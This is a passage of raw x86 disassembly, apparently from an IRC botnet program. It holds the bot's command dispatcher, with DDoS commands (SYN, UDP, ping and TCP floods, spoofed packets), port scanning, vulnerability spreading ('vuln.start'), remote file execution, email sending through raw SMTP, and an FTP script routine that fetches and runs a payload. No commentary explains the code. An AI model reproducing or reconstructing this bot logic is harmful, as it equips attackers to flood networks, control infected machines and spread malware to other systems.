[ebp+arg_18], eax jz loc_40D219 push [ebp+arg_8] push offset aEnz_addalias ; "enz.addalias" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41118A push [ebp+arg_8] push offset aEnz_aa ; "enz.aa" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41118A push [ebp+arg_8] push offset aEnz_privmsg ; "enz.privmsg" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411137 push [ebp+arg_8] push offset aEnz_pm ; "enz.pm" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411137 push [ebp+arg_8] push offset aEnz_action ; "enz.action" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4110C9 push [ebp+arg_8] push offset aEnz_ac ; "enz.ac" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4110C9 push [ebp+arg_8] push offset aEnz_cycle ; "enz.cycle" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411066 push [ebp+arg_8] push offset aEnz_cy ; "enz.cy" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411066 push [ebp+arg_8] push offset aEnz_mode ; "enz.mode" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411027 push [ebp+arg_8] push offset aEnz_m ; "enz.m" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411027 push [ebp+arg_8] push offset aClone_raw ; "clone.raw" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410FBC push [ebp+arg_8] push offset aClone_ra ; "clone.ra" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410FBC push [ebp+arg_8] push offset aClone_mode ; "clone.mode" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410F3A push [ebp+arg_8] push offset aClone_m ; "clone.m" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410F3A push [ebp+arg_8] push offset aClone_nick ; "clone.nick" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410EC9 push [ebp+arg_8] push offset aClone_ni ; "clone.ni" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410EC9 push [ebp+arg_8] push offset aClone_join ; "clone.join" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410EA3 push [ebp+arg_8] push offset aClone_j ; "clone.j" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410EA3 push [ebp+arg_8] push offset aClone_part ; "clone.part" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410E40 push [ebp+arg_8] push offset aClone_p ; "clone.p" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410E40 push [ebp+arg_8] push offset aEnz_repeat ; "enz.repeat" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410D7A push [ebp+arg_8] push offset aEnz_rp ; "enz.rp" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410D7A push [ebp+arg_8] push offset aEnz_delay ; "enz.delay" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410CDF push [ebp+arg_8] push offset aEnz_de ; "enz.de" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410CDF push [ebp+arg_8] push offset aDownload_updiz ; "download.updiz" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410B61 push [ebp+arg_8] push offset aDownload_upz ; "download.upz" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410B61 push [ebp+arg_8] push offset aBox_execute ; "box.execute" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410AC0 push [ebp+arg_8] push offset aBox_e ; "box.e" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410AC0 push [ebp+arg_8] push offset aBox_findfile ; "box.findfile" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4109C2 push [ebp+arg_8] push offset aBox_ff ; "box.ff" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4109C2 push [ebp+arg_8] push offset aBox_rename ; "box.rename" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410971 push [ebp+arg_8] push offset aBox_mv ; "box.mv" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410971 push [ebp+arg_8] push offset aDdos_icmp ; "ddos.icmp" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410876 push [ebp+arg_8] push offset aDdos_ic ; "ddos.ic" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410876 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz loc_40D219 push [ebp+arg_8] push offset aClone_make ; "clone.make" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41078B push [ebp+arg_8] push offset aClone_start ; "clone.start" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41078B push [ebp+arg_8] push offset aDs_sy1 ; "ds.sy1" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410686 push [ebp+arg_8] push offset aDs_ack ; "ds.ack" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410686 push [ebp+arg_8] push offset aDs_rm ; "ds.rm" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410686 push [ebp+arg_8] push offset aDdos_synflood ; "ddos.synflood" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410588 push [ebp+arg_8] push offset aSy1 ; "sy1" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410588 push [ebp+arg_8] push offset aDownload_fromw ; "download.fromwww" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41044A push [ebp+arg_8] push offset aD1 ; "d1" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41044A push [ebp+arg_8] push offset aServer_redir_0 ; "server.redirect.on" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410350 push [ebp+arg_8] push offset aServer_rd_on ; "server.rd.on" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410350 push [ebp+arg_8] push offset aEnz_portscan ; "enz.portscan" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41025D push [ebp+arg_8] push offset aEnz_ps ; "enz.ps" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41025D push [ebp+arg_8] push offset aClone_privmsg ; "clone.privmsg" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410188 push [ebp+arg_8] push offset aClone_pm ; "clone.pm" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410188 push [ebp+arg_8] push offset aClone_action ; "clone.action" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410073 push [ebp+arg_8] push offset aClone_ac ; "clone.ac" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410073 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz loc_40D219 push [ebp+arg_8] push offset aVuln_start ; "vuln.start" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40FD1A push [ebp+arg_8] push offset aVvv ; "vvv" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40FD1A push [ebp+arg_8] push offset aDdos_udpflood ; "ddos.udpflood" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40FBFA push [ebp+arg_8] push offset aDdos_udpf ; "ddos.udpf" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40FBFA push [ebp+arg_8] push offset aPu ; "pu" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40FBFA push [ebp+arg_8] push offset aDdos_pingflood ; "ddos.pingflood" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40FAC7 push [ebp+arg_8] push offset aDdos_pingf ; "ddos.pingf" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40FAC7 push [ebp+arg_8] push offset aPg ; "pg" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40FAC7 push [ebp+arg_8] push offset aDdos_tcpflood ; "ddos.tcpflood" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40F934 push [ebp+arg_8] push offset aUsa ; "usa" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40F934 push [ebp+arg_8] push offset aUtil_email ; "util.email" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40F73D lea eax, [ebp+var_3E4] push edi push eax call sub_415C00 push [ebp+arg_18] call sub_415A5F push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_D9C] push eax call sub_415C00 push [ebp+arg_10] lea eax, [ebp+var_B94] push eax call sub_415C00 push offset asc_426A00 ; " " push offset a_ ; "_" push [ebp+esi+var_80] call sub_4099AA push eax lea eax, [ebp+var_548] push eax call sub_415C00 add esp, 30h lea eax, [ebp+var_6F4] push eax push 101h call dword_43A330 lea eax, [ebp+var_3E4] push eax call dword_43A43C push 6 push 1 push 2 mov edi, eax call dword_43A438 push [ebp+arg_18] mov esi, eax mov [ebp+var_2D8], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_2D4], eax call dword_43A3B8 mov [ebp+var_2D6], ax lea eax, [ebp+var_548] push eax lea eax, [ebp+var_D9C] push eax lea eax, [ebp+var_548] push eax lea eax, [ebp+var_B94] push eax lea eax, [ebp+var_D9C] push eax lea eax, [ebp+var_159C] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_4154E7 add esp, 1Ch lea eax, [ebp+var_2D8] push 10h push eax push esi call dword_43A360 mov edi, 100h push ebx lea eax, [ebp+var_C98] push edi push eax push esi call dword_43A3D0 lea eax, [ebp+var_C98] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_159C] push eax push esi call dword_43A408 push ebx lea eax, [ebp+var_C98] push edi push eax push esi call dword_43A3D0 push esi call dword_43A450 call dword_43A318 lea eax, [ebp+var_B94] push eax push offset dword_43520C loc_40F704: ; CODE XREF: sub_40CE55+3A1Cj ; sub_40CE55+3D07j ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 add esp, 0Ch loc_40F713: ; CODE XREF: sub_40CE55+3A00j ; sub_40CE55+3CABj ... cmp [ebp+var_8], ebx jnz loc_4124D6 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h jmp loc_4124D6 ; --------------------------------------------------------------------------- loc_40F73D: ; CODE XREF: sub_40CE55+2759j push [ebp+arg_8] push offset aUtil_httpcon ; "util.httpcon" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40F906 push [ebp+arg_8] push offset aUtil_hcon ; "util.hcon" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40F906 mov esi, [ebp+esi+var_80] cmp esi, ebx jz loc_40D219 push [ebp+arg_8] push offset aFtp_upload ; "ftp.upload" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_41298E push 4 push esi call sub_40C1FE pop ecx test eax, eax pop ecx jnz short loc_40F7DB push esi push offset dword_4351B0 loc_40F7A2: ; CODE XREF: sub_40CE55+2C63j ; sub_40CE55+3219j ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 add esp, 0Ch loc_40F7B1: ; CODE XREF: sub_40CE55+2C47j ; sub_40CE55+31FDj ... cmp [ebp+var_8], ebx jnz loc_41284E push ebx push [ebp+var_4] loc_40F7BE: ; CODE XREF: sub_40CE55+382Cj lea eax, [ebp+var_2C8] push eax push [ebp+var_8C] push [ebp+arg_4] loc_40F7CE: ; CODE XREF: sub_40CE55+50D1j call sub_412D4C add esp, 14h jmp loc_41284E ; --------------------------------------------------------------------------- loc_40F7DB: ; CODE XREF: sub_40CE55+2945j call dword_42104C push eax call sub_415539 pop ecx call sub_415543 push 9 cdq pop ecx idiv ecx push edx call sub_415543 push 63h cdq pop ecx idiv ecx push edx call sub_415543 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_C9C] push edx push eax lea eax, [ebp+var_B98] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_4154E7 lea eax, [ebp+var_B98] push offset aAb ; "ab" push eax call sub_415BE8 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_40D219 push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_415B96 push [ebp+arg_24] call sub_415B40 lea eax, [ebp+var_B98] push eax lea eax, [ebp+var_3E4] push offset aSS_4 ; "-s:%s" push eax call sub_4154E7 add esp, 2Ch lea eax, [ebp+var_3E4] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_43A32C test eax, eax push edi push esi jz short loc_40F8A5 push offset dword_435134 jmp short loc_40F8AA ; --------------------------------------------------------------------------- loc_40F8A5: ; CODE XREF: sub_40CE55+2A47j push offset dword_4350F4 loc_40F8AA: ; CODE XREF: sub_40CE55+2A4Ej call sub_4154E7 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40F8D3 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h loc_40F8D3: ; CODE XREF: sub_40CE55+2A60j lea eax, [ebp+var_2C8] push eax call sub_40B16D loc_40F8DF: ; CODE XREF: sub_40CE55+2AAFj lea eax, [ebp+var_B98] push 4 push eax call sub_40C1FE add esp, 0Ch test eax, eax jz loc_40D219 lea eax, [ebp+var_B98] push eax call sub_4178FC jmp short loc_40F8DF ; --------------------------------------------------------------------------- loc_40F906: ; CODE XREF: sub_40CE55+28F9j ; sub_40CE55+2910j push [ebp+esi+var_80] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_415A5F pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_406B1D jmp loc_41298B ; --------------------------------------------------------------------------- loc_40F934: ; CODE XREF: sub_40CE55+272Bj ; sub_40CE55+2742j mov esi, 80h push edi lea eax, [ebp+var_680] push esi push eax call sub_415A6A lea eax, [ebp+var_680] push eax push offset aSyn ; "syn" call sub_415910 add esp, 14h test eax, eax jz short loc_40F997 lea eax, [ebp+var_680] push eax push offset aAck ; "ack" call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40F997 lea eax, [ebp+var_680] push eax push offset aRandom ; "random" call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40F997 push offset dword_4350B8 jmp loc_41202C ; --------------------------------------------------------------------------- loc_40F997: ; CODE XREF: sub_40CE55+2B08j ; sub_40CE55+2B1Fj ... push [ebp+arg_10] call sub_415A5F cmp eax, ebx pop ecx mov [ebp+var_578], eax jle loc_40FABD push edi lea eax, [ebp+var_680] push esi push eax call sub_415A6A push [ebp+arg_18] lea eax, [ebp+var_700] push esi push eax call sub_415A6A push [ebp+arg_0] call sub_415A5F mov [ebp+var_57C], eax xor eax, eax cmp [ebp+var_9A2], bl push [ebp+var_8C] setnz al mov [ebp+var_574], eax mov eax, [ebp+arg_4] mov [ebp+var_704], eax lea eax, [ebp+var_600] push esi push eax call sub_415A6A mov eax, [ebp+var_4] add esp, 28h cmp [ebp+var_574], ebx mov [ebp+var_570], eax mov eax, [ebp+var_8] mov [ebp+var_56C], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_40FA2E mov eax, offset aNormal ; "Normal" loc_40FA2E: ; CODE XREF: sub_40CE55+2BD2j push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset dword_435060 lea eax, [ebp+var_2C8] push 200h push eax call sub_415A6A push ebx lea eax, [ebp+var_2C8] push 0Ch push eax call sub_414F93 add esp, 2Ch mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_704] push ebx push eax push offset sub_401BD6 push ebx push ebx call dword_42108C mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_40FAAC loc_40FA96: ; CODE XREF: sub_40CE55+2C55j cmp [ebp+var_568], ebx jnz loc_40F7B1 push 32h call dword_421060 jmp short loc_40FA96 ; --------------------------------------------------------------------------- loc_40FAAC: ; CODE XREF: sub_40CE55+2C3Fj call dword_421088 push eax push offset dword_435014 jmp loc_40F7A2 ; --------------------------------------------------------------------------- loc_40FABD: ; CODE XREF: sub_40CE55+2B53j push offset dword_434FC8 jmp loc_41202C ; --------------------------------------------------------------------------- loc_40FAC7: ; CODE XREF: sub_40CE55+26E6j ; sub_40CE55+26FDj ... cmp dword_43A4A8, ebx mov esi, [ebp+arg_4] jnz loc_40FBCF mov eax, [ebp+var_8] push 7Fh mov [ebp+var_2EC], eax mov eax, [ebp+var_4] mov [ebp+var_2F0], eax lea eax, [ebp+var_384] push edi push eax call sub_416D40 push [ebp+arg_18] call sub_415A5F push [ebp+arg_0] mov [ebp+var_304], eax call sub_415A5F push [ebp+arg_10] mov [ebp+var_300], eax call sub_415A5F push 7Fh mov [ebp+var_2FC], eax push [ebp+var_8C] lea eax, [ebp+var_404] push eax call sub_416D40 push [ebp+var_2FC] lea eax, [ebp+var_384] mov [ebp+var_408], esi push [ebp+var_300] push eax lea eax, [ebp+var_2C8] push [ebp+var_304] push offset unk_434F6C push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 0Eh push eax call sub_414F93 add esp, 48h mov [ebp+var_2F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_408] push ebx push eax push offset sub_40A217 push ebx push ebx call dword_42108C mov ecx, [ebp+var_2F4] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_40FBBE loc_40FBAC: ; CODE XREF: sub_40CE55+2D67j cmp [ebp+var_2E8], ebx jnz short loc_40FBE8 push 32h call dword_421060 jmp short loc_40FBAC ; --------------------------------------------------------------------------- loc_40FBBE: ; CODE XREF: sub_40CE55+2D55j call dword_421088 push eax push offset unk_434F20 jmp loc_41077A ; --------------------------------------------------------------------------- loc_40FBCF: ; CODE XREF: sub_40CE55+2C7Bj push 1FFh lea eax, [ebp+var_2C8] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_416D40 loc_40FBE5: ; CODE XREF: sub_40CE55+3931j add esp, 0Ch loc_40FBE8: ; CODE XREF: sub_40CE55+2D5Dj ; sub_40CE55+2EA4j ... cmp [ebp+var_8], ebx jnz loc_41284E push ebx push [ebp+var_4] jmp loc_411F18 ; --------------------------------------------------------------------------- loc_40FBFA: ; CODE XREF: sub_40CE55+26A1j ; sub_40CE55+26B8j ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_2EC], eax mov eax, [ebp+var_4] mov [ebp+var_2F0], eax lea eax, [ebp+var_384] push edi push eax call sub_416D40 push [ebp+arg_18] call sub_415A5F push [ebp+arg_0] mov [ebp+var_304], eax call sub_415A5F push [ebp+arg_10] mov [ebp+var_300], eax call sub_415A5F mov esi, [ebp+esi+var_80] add esp, 18h cmp esi, ebx mov [ebp+var_2FC], eax jz short loc_40FC5F push esi call sub_415A5F pop ecx mov [ebp+var_2F8], eax jmp short loc_40FC65 ; --------------------------------------------------------------------------- loc_40FC5F: ; CODE XREF: sub_40CE55+2DF9j mov [ebp+var_2F8], ebx loc_40FC65: ; CODE XREF: sub_40CE55+2E08j push 7Fh lea eax, [ebp+var_404] push [ebp+var_8C] push eax call sub_416D40 push [ebp+var_2FC] mov esi, [ebp+arg_4] lea eax, [ebp+var_384] mov [ebp+var_408], esi push [ebp+var_300] push eax lea eax, [ebp+var_2C8] push [ebp+var_304] push offset dword_434EAC push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 0Fh push eax call sub_414F93 add esp, 30h mov [ebp+var_2F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_408] push ebx push eax push offset sub_40A3A3 push ebx push ebx call dword_42108C mov ecx, [ebp+var_2F4] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_40FD09 loc_40FCF3: ; CODE XREF: sub_40CE55+2EB2j cmp [ebp+var_2E8], ebx jnz loc_40FBE8 push 32h call dword_421060 jmp short loc_40FCF3 ; --------------------------------------------------------------------------- loc_40FD09: ; CODE XREF: sub_40CE55+2E9Cj call dword_421088 push eax push offset dword_434E60 jmp loc_41077A ; --------------------------------------------------------------------------- loc_40FD1A: ; CODE XREF: sub_40CE55+2673j ; sub_40CE55+268Aj push 8 call sub_4151DB push [ebp+arg_18] mov [ebp+arg_8], eax call sub_415A5F add eax, [ebp+arg_8] pop ecx pop ecx cmp eax, 12Ch jle short loc_40FD6D push [ebp+arg_8] lea eax, [ebp+var_2C8] push offset dword_434E0C push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C loc_40FD65: ; CODE XREF: sub_40CE55+4330j add esp, 20h jmp loc_41298E ; --------------------------------------------------------------------------- loc_40FD6D: ; CODE XREF: sub_40CE55+2EE1j push edi call sub_415A5F push [ebp+arg_18] mov [ebp+var_31C], eax call sub_415A5F push [ebp+arg_0] mov [ebp+var_304], eax call sub_415A5F add esp, 0Ch cmp eax, 1 mov [ebp+var_318], eax jnb short loc_40FDA6 push 1 pop eax mov [ebp+var_318], eax loc_40FDA6: ; CODE XREF: sub_40CE55+2F46j push 3Ch pop ecx cmp eax, ecx jbe short loc_40FDB3 mov [ebp+var_318], ecx loc_40FDB3: ; CODE XREF: sub_40CE55+2F56j push [ebp+arg_10] call sub_415A5F mov [ebp+var_314], eax mov eax, 1F4h cmp [ebp+var_314], eax pop ecx jbe short loc_40FDD5 mov [ebp+var_314], eax loc_40FDD5: ; CODE XREF: sub_40CE55+2F78j or [ebp+var_300], 0FFFFFFFFh cmp dword_427338, ebx mov [ebp+arg_0], ebx jz short loc_40FE2B mov [ebp+arg_24], offset dword_427338 loc_40FDEE: ; CODE XREF: sub_40CE55+2FB8j mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40FE11 add [ebp+arg_24], 3Ch inc [ebp+arg_0] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_40FDEE jmp short loc_40FE2B ; --------------------------------------------------------------------------- loc_40FE11: ; CODE XREF: sub_40CE55+2FAAj mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_300], eax imul ecx, 3Ch mov ecx, dword_427338[ecx] mov [ebp+var_31C], ecx loc_40FE2B: ; CODE XREF: sub_40CE55+2F90j ; sub_40CE55+2FBAj cmp [ebp+var_31C], ebx jz loc_411C49 mov edi, [ebp+esi+var_80] cmp edi, ebx mov [ebp+arg_18], edi jz short loc_40FE72 cmp byte ptr [edi], 23h jz short loc_40FE72 push edi lea eax, [ebp+var_430] push 10h push eax call sub_415A6A push 78h push edi call sub_417080 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_2F0], eax jmp loc_40FF46 ; --------------------------------------------------------------------------- loc_40FE72: ; CODE XREF: sub_40CE55+2FEBj ; sub_40CE55+2FF0j cmp [ebp+var_9B3], bl jnz short loc_40FE94 cmp [ebp+var_9B2], bl jnz short loc_40FE94 cmp [ebp+var_9A2], bl jnz short loc_40FE94 push offset dword_434DC0 jmp loc_41202C ; --------------------------------------------------------------------------- loc_40FE94: ; CODE XREF: sub_40CE55+3023j ; sub_40CE55+302Bj ... push 10h lea eax, [ebp+arg_0] pop edi push eax lea eax, [ebp+var_2D8] push eax mov [ebp+arg_0], edi push [ebp+arg_4] call dword_43A35C mov al, [ebp+var_9B3] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2D4], eax push [ebp+var_2D4] call dword_43A444 push eax lea eax, [ebp+var_430] push eax call sub_416D40 add esp, 0Ch cmp [ebp+var_9A2], bl jz short loc_40FF40 xor eax, eax cmp [ebp+var_9B3], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_430] push eax call sub_417040 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_40FF34 loc_40FF12: ; CODE XREF: sub_40CE55+30DDj cmp eax, ebx jz short loc_40FF34 mov byte ptr [eax], 78h lea eax, [ebp+var_430] push 30h push eax call sub_417040 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40FF12 loc_40FF34: ; CODE XREF: sub_40CE55+30BBj ; sub_40CE55+30BFj mov [ebp+var_2F0], 1 jmp short loc_40FF46 ; --------------------------------------------------------------------------- loc_40FF40: ; CODE XREF: sub_40CE55+3095j mov [ebp+var_2F0], ebx loc_40FF46: ; CODE XREF: sub_40CE55+3018j ; sub_40CE55+30E9j mov eax, [ebp+arg_4] push [ebp+var_8C] mov [ebp+var_320], eax mov eax, [ebp+var_4] mov [ebp+var_2F8], eax mov eax, [ebp+var_8] mov [ebp+var_2F4], eax mov edi, 80h lea eax, [ebp+var_420] push edi push eax call sub_415A6A mov esi, [ebp+esi+var_7C] add esp, 0Ch cmp esi, ebx jz short loc_40FF97 loc_40FF84: ; CODE XREF: sub_40CE55+3165j push esi loc_40FF85: ; CODE XREF: sub_40CE55+314Fj lea eax, [ebp+var_3A0] push edi push eax call sub_415A6A add esp, 0Ch jmp short loc_40FFC2 ; --------------------------------------------------------------------------- loc_40FF97: ; CODE XREF: sub_40CE55+312Dj mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_40FFA6 cmp byte ptr [eax], 23h jnz short loc_40FFA6 push eax jmp short loc_40FF85 ; --------------------------------------------------------------------------- loc_40FFA6: ; CODE XREF: sub_40CE55+3147j ; sub_40CE55+314Cj mov esi, offset dword_42C248 push offset byte_438FDC push esi call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40FF84 mov [ebp+var_3A0], bl loc_40FFC2: ; CODE XREF: sub_40CE55+3140j cmp [ebp+var_2F0], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_40FFD4 mov eax, offset aSequential ; "Sequential" loc_40FFD4: ; CODE XREF: sub_40CE55+3178j push [ebp+var_304] lea ecx, [ebp+var_430] push [ebp+var_314] push [ebp+var_318] push [ebp+var_31C] push ecx push eax lea eax, [ebp+var_2C8] push offset dword_434D34 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 8 push eax call sub_414F93 add esp, 2Ch mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_430] push ebx push eax push offset sub_40799F push ebx push ebx call dword_42108C mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_410062 loc_41004C: ; CODE XREF: sub_40CE55+320Bj cmp [ebp+var_2EC], ebx jnz loc_40F7B1 push 32h call dword_421060 jmp short loc_41004C ; --------------------------------------------------------------------------- loc_410062: ; CODE XREF: sub_40CE55+31F5j call dword_421088 push eax push offset dword_434CE8 jmp loc_40F7A2 ; --------------------------------------------------------------------------- loc_410073: ; CODE XREF: sub_40CE55+2633j ; sub_40CE55+264Aj push edi call sub_415A5F imul eax, 234h pop ecx cmp byte_43F560[eax], bl jz loc_41298E cmp [ebp+var_C], ebx jz loc_41298E push edi call sub_415CF0 push [ebp+arg_8] mov esi, eax call sub_415CF0 push [ebp+arg_18] add esi, eax call sub_415CF0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_415AC0 mov esi, eax lea eax, [ebp+var_2C8] push esi push offset dword_434CDC push eax call sub_4154E7 add esp, 20h cmp esi, ebx jz loc_41298E push edi call sub_415A5F test eax, eax pop ecx jle loc_41298E push edi call sub_415A5F cmp eax, 12Ch pop ecx jge loc_41298E push ebx lea eax, [ebp+var_2C8] push ebx push eax push [ebp+arg_18] push edi call sub_415A5F imul eax, 234h pop ecx push dword_43F554[eax] call sub_412D4C push edi call sub_415A5F imul eax, 234h add esp, 18h cmp byte ptr dword_43F348[eax], 73h jnz loc_41298E push esi push edi call sub_415A5F imul eax, 234h pop ecx add eax, offset byte_43F560 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] * %s %s" loc_41015B: ; CODE XREF: sub_40CE55+3403j lea eax, [ebp+var_2C8] push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C loc_410180: ; CODE XREF: sub_40CE55+529Fj add esp, 28h jmp loc_41298E ; --------------------------------------------------------------------------- loc_410188: ; CODE XREF: sub_40CE55+2605j ; sub_40CE55+261Cj push edi call sub_415A5F imul eax, 234h pop ecx cmp byte_43F560[eax], bl jz loc_41298E cmp [ebp+var_C], ebx jz loc_41298E push edi call sub_415CF0 push [ebp+arg_8] mov esi, eax call sub_415CF0 push [ebp+arg_18] add esi, eax call sub_415CF0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_415AC0 mov esi, eax add esp, 14h cmp esi, ebx jz loc_41298E push edi call sub_415A5F test eax, eax pop ecx jle loc_41298E push edi call sub_415A5F cmp eax, 12Ch pop ecx jge loc_41298E push ebx push ebx push esi push [ebp+arg_18] push edi call sub_415A5F imul eax, 234h pop ecx push dword_43F554[eax] call sub_412D4C push edi call sub_415A5F imul eax, 234h add esp, 18h cmp byte ptr dword_43F348[eax], 73h jnz loc_41298E push esi push edi call sub_415A5F imul eax, 234h pop ecx add eax, offset byte_43F560 push eax push [ebp+arg_18] push offset aSSS_0 ; "[%s] <%s> %s" jmp loc_41015B ; --------------------------------------------------------------------------- loc_41025D: ; CODE XREF: sub_40CE55+25D7j ; sub_40CE55+25EEj push edi call dword_43A3F8 push [ebp+arg_18] mov [ebp+var_460], eax call sub_415A5F push [ebp+arg_0] mov [ebp+var_46C], eax call sub_415A5F mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_468], eax lea eax, [ebp+var_4EC] mov [ebp+var_4F0], esi push eax call sub_416D40 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_458], edi push [ebp+var_468] mov [ebp+var_454], eax push [ebp+var_46C] push [ebp+var_460] call dword_43A444 push eax lea eax, [ebp+var_2C8] push 